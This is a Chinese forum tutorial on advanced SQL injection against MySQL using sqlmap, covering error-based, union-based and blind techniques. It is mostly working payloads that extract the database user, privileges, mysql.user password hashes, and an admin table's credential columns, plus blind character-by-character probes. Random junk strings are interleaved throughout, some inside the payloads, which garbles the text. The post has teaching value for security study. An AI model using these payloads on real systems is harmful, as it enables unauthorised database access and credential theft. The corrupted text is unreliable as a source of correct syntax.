放假第一天,本应该好好放松一下,可是还是想着把文章写完先。。。0 B/ M: _$ P9 b, R
, G' y- t* R, {- g: c, K
这次的主题是高级注入,坛子里也讲到了一些,不过本文旨在给大家一个更深刻的概念和全面的理解,下面看看我自己列的一个表' n3 i, v: z$ J1 \* ] g) n
( Z+ q+ p" U% ^1 U分类标准 分类 备注
9 ?: R1 ?7 z" h& v) U) Z9 @按字段类型 整型注入,字符型注入
$ o8 c/ {1 z/ A, A/ d按出现的位置 get注入,post注入,cookie注入,http header注入 T* \$ _% Y$ q. M$ d! M5 v, z
然而高级注入是这样的
6 s( `- F* y, u0 d& D6 ^
# i" U$ U; t" c高级注入分类 条件" A, I6 r/ A. g# P# k& ], }% F2 E, p+ i
error-based sql 数据库的错误回显可以返回,存在数据库,表结构, e5 B5 _) }4 [ [* j
union-based sql 能够使用union,存在数据库,表结构, W9 d2 x9 M6 c5 ^1 x
blind sql 存在注入
% ^: _, j. X) X; V: ^1 _" `; L8 y/ a8 P我们暂且不考虑waf等的影响,只从原理上学习。通过上面我们不难发现,三种高级注入选择的顺序应该是eub(第一个字母,后面为了方便我都这样表示了 ),实际上,e是不需要知道字段数的,u需要知道字段数,e之所以在前我觉得主要是因为这个,因为在其他方面它们没有本质的区别,它们都需要知道数据库以及表的结构,这样才能构造出相应的语句,当然,能e一般能u(没过滤union等),反过来却很不一定,因为一般会有自定义的错误提醒。如果没有结构,那么就回到了最悲剧,最麻烦的b了,猜。。。当然可能没有结果,但是如果只是不能使用u,有结构,b还是能出结果的,只是苦逼点而已。。。) T$ a; |7 J5 d/ O) F
& Z6 w/ {0 R) b- ?3 Y( F9 K" h' s好了,说了这么多,该上神器sqlmap了,最近坛子里貌似很火0 h+ i$ ~' n- o6 ?+ x# j+ S: s* I6 K; w
/ @) ^- N# O$ B/ D
附件分别以mysql和mssql为例子,提醒:sqlmap中使用-v 3可以查看每个请求的payload。
6 B1 D4 r9 Y d0 I0 A4 n
4 D9 I0 |+ c! i. r这里用mysql说明
c# L8 e; j0 g0 W & a/ t7 \% t( E5 C6 M9 a
e注入坛子里很多了,请看戳我或者再戳我
& J) n! h( [8 M# Y
& u8 R/ W7 P% X3 @$ R) Ou注入其实也很多了,这里就大概帖上一些重要语句吧,附件上结合例子都有的
1 k5 X& K1 s. O. J& a$ L' x : r9 W7 `4 Q# D* n' t$ C+ h& P
获取当前数据库用户名
' v8 y8 Y7 k$ y/ U Q' }! R
* d! b" e: O: vUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(C- Y( I4 C1 h0 a# ?6 m; f9 J6 L' |
AST(CURRENT_USER() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL
4 p9 k( p! S6 J& P: g% u4 t; GL, NULL#% U6 i+ @- H6 F. G" `5 l& ]
注意concat那里不是必须的,只是sqlmap为了自动攫取出数据加上的特征,下面语句类似,涉及基础性的知识,基友们自己去补吧。
0 H" L% j, w( N# }2 F4 M u! `( R T9 b' v! e4 n% B
获取数据库名' X- }; \, K3 v9 x! S
& N6 S7 q+ H1 \$ sUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#
8 A" h4 q3 X& N2 W7 l7 n K" P% p! X& d获取所有用户名
1 D; S- J: w3 Q/ { 2 w" i+ V# P! q* x5 Q- ]; i
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#) y7 S& u2 e, Y' s
查看当前用户权限6 A' \/ X8 {0 x' c/ L/ R
: z; _% G1 N* w% D0 MUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(privilege_type AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
6 D' u8 T+ R. {, S E尝试获取密码,当然需要有能读mysql数据库的权限1 @& {# f3 l9 R% Z
* @# X4 M! f6 W9 Q5 r. }: _
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(user AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(password AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM mysql.user#2 t8 i5 N# } U' c, H
获取表名,limit什么的自己搞啦! p) G5 m# O, N% ]8 ~) [
( r h% v4 I3 A3 J2 P- ^UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(table_name AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 0x7061727474696d655f6a6f62#
+ c# I/ L* L. \7 p获取字段名及其类型
6 k$ \ o+ r. g: TUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(column_name AS CHAR),0×20),0x697461626a6e,IFNULL(CAST(column_type AS CHAR),0×20),0x3a6864623a),NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e5f7461626c65 AND table_schema=0x7061727474696d655f6a6f62 AND (column_name=0x61646d696e6e616d65 OR column_name=0x70617373776f7264)#$ H$ G5 M' V7 F$ q' L3 V
! y) n4 {" y, K9 E# R
b注入,呵呵,除了当前用户,数据库,版本可以出来,而如果不能u,但存在数据的结构表,还是能苦逼出来,否则猜也不一定能猜到表和字段,内容自然也出不来,苦逼access啊。。。
# O# I: \# e5 p$ k3 }) Y
# \( L. y; ]" M m, j如:
0 G; }. C7 _7 y8 A7 P0 M获取当前用户名
, K" ^; W% N4 x' H. x- L. d 5 q7 H) q, i7 z4 O
AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 116
7 k$ }; R: l6 {+ P `( ]获取当前数据库
3 g! u7 a3 a v5 m3 y ) Q" g; \/ L1 k# p2 S
AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1)) > 106( |- X; H2 I2 B$ e l
获取表名
, _- Y, K' @, Z/ }* |. A$ M1 o; _ 6 c/ z: D, |& l' b6 X& f% \8 w4 e" |
AND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7061727474696d655f6a6f62),1,1)) > 51; O2 V+ y# |4 \' e2 {& L* m
获取字段名及其类型和爆内容就不说了,改改上面的就可以了。: i3 E7 T6 }% R L8 X' r
回到最苦逼的情况,无结构的,mysql版本<5.0,现在不多见了吧,还是看看语句。
. A& ~% [4 M v/ u5 m# a爆表
) B9 M9 t- S5 |1 M * ~! P: ~; A6 A& O: ?
AND EXISTS(select * from table)
# h# Z$ L8 o9 C: x% f, o爆字段
5 H0 |: {2 d$ k8 b
/ H/ j: t! ]: z+ ?# mAND EXISTS(select pwd from table)
6 T1 j* Y4 L& K7 x$ F3 n. I% l: m% |. A1 ]盲注的变化就比较多了,由于篇幅,只是举个例子而已。: G" j( P% y' X) n( ?
, N5 _' p" }! x! t1 l/ u F本来想把mssql和access都写上的,不过编辑得太累了,有时间再写吧,其实原理都差不多,今天就洗洗睡了吧。
# T2 ~/ J' C8 o9 n0 P$ x |